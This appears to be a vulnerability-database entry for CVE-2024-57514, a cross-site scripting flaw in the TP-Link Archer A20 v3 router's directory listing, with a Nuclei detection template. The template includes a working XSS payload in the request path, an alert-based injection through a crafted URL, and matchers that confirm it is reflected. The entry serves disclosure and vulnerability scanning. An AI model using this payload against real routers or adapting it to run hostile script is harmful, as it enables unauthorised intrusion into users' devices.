CVE-2024-57514: TP-Link Archer A20 v3 Router - Cross-site Scripting

日期: 2025-08-01 | 影响软件: TP-Link Archer A20 v3 Router | POC: 已公开

漏洞描述

The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.

PoC代码[已公开]

id: CVE-2024-57514

info:
  name: TP-Link Archer A20 v3 Router - Cross-site Scripting
  author: s4e-io
  severity: medium
  description: |
    The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.
  reference:
    - https://www.zyenra.com/blog/xss-in-tplink-archer-a20.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57514
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2024-57514
    cwe-id: CWE-79
    epss-score: 0.10107
    epss-percentile: 0.92822
  metadata:
    max-request: 1
    vendor: tp-link
    product: tp-link-archer-a20-v3-router
  tags: cve,cve2024,tplink,router,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/<style%20onload=alert`document.domain`;>../..%2f"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<style onload=alert`document.domain`;", "Index of")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100fbc91603471d729956fbc5c9fab8083c002a4506588f0c1ce4148cb40ec5d2c502202cd8da1947e8ac362daf3948f4e894fe9b6f8a476fa1381a2ea652db61c2646f:922c64590222798bb761d5b6d8e72950